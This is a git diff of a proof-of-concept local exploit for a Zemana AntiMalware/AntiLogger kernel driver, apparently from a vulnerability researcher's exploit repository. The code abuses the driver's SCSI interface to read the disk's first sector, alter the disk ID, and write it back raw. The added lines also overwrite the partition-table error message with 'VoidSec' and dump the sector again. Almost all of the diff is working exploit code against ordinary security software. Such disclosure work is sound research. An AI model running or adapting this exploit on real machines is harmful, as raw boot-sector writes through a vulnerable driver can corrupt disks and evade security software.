diff --git a/windows/x64/kernel/Zemana_AntiMalware_AntiLogger/driver/zam64.sys.i64 b/windows/x64/kernel/Zemana_AntiMalware_AntiLogger/driver/zam64.sys.i64 index 2c73696..be910fd 100644 Binary files a/windows/x64/kernel/Zemana_AntiMalware_AntiLogger/driver/zam64.sys.i64 and b/windows/x64/kernel/Zemana_AntiMalware_AntiLogger/driver/zam64.sys.i64 differ diff --git a/windows/x64/kernel/Zemana_AntiMalware_AntiLogger/exploit/Zemana_AntiMalware_AntiLogger_SCSI_RW_PoC.cpp b/windows/x64/kernel/Zemana_AntiMalware_AntiLogger/exploit/Zemana_AntiMalware_AntiLogger_SCSI_RW_PoC.cpp index 69cefa9..d864172 100644 --- a/windows/x64/kernel/Zemana_AntiMalware_AntiLogger/exploit/Zemana_AntiMalware_AntiLogger_SCSI_RW_PoC.cpp +++ b/windows/x64/kernel/Zemana_AntiMalware_AntiLogger/exploit/Zemana_AntiMalware_AntiLogger_SCSI_RW_PoC.cpp @@ -4,9 +4,9 @@ Exploit Author: Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voi Date: 12/06/2023 Vendor Homepage: https://zemana.com/ Download: https://zemana.com/downloads/Zemana.AntiMalware.Setup.exe - https://zemana.com/downloads/Zemana.AntiLogger.Setup.exe -Affected Version: Zemana AntiMalware v. <= 3.2.28 - Zemana AntiLogger v. <= 2.74.204.664 + https://zemana.com/downloads/Zemana.AntiLogger.Setup.exe +Affected Version: Zemana AntiMalware v. <= 3.2.28 + Zemana AntiLogger v. <= 2.74.204.664 CVE: CVE-2023-XXXX Tested on: Windows 11 Pro x64 v.22621.1778 Category: local exploit @@ -166,18 +166,30 @@ int main(int argc, char** argv) { return -1; } std::cout << "\t[+] Disk ID: 0x" << *(ULONG32*)(lpInBuffer + 440) << std::endl; - std::cout << "\t[+]SCSI disk dump" << std::endl; + std::cout << "\t[+] SCSI disk dump" << std::endl; hex_dump(std::cout, lpInBuffer, sizeof(lpInBuffer)); std::cout << "\n[-] SCSI Disk Write" << std::endl; std::cout << "\t[-] Incrementing Disk ID" << std::endl; (*(ULONG32*)(lpInBuffer + 440))++; + std::cout << "\t[-] Overwriting Partition Table Error Message with 'VoidSec'" << std::endl; + memcpy(lpInBuffer + 0x163, "VoidSec", 7); + success = SCSI_RW(hDevice, 0, 0, lpInBuffer, TRUE); if (!success) { std::cout << "\t[!] Failed to write to SCSI disk. Error code: " << ::GetLastError() << std::endl; return -1; } std::cout << "\t[+] SCSI Write successful! Disk ID is now: 0x" << *(ULONG32*)(lpInBuffer + 440) << std::endl; + + // reading back partition table + success = SCSI_RW(hDevice, 0, 0, lpInBuffer, FALSE); + if (!success) { + std::cout << "\t[!] Failed to read from SCSI disk. Error code: " << ::GetLastError() << std::endl; + return -1; + } + std::cout << "\t[+] SCSI disk dump" << std::endl; + hex_dump(std::cout, lpInBuffer, sizeof(lpInBuffer)); CloseHandle(hDevice); return 0;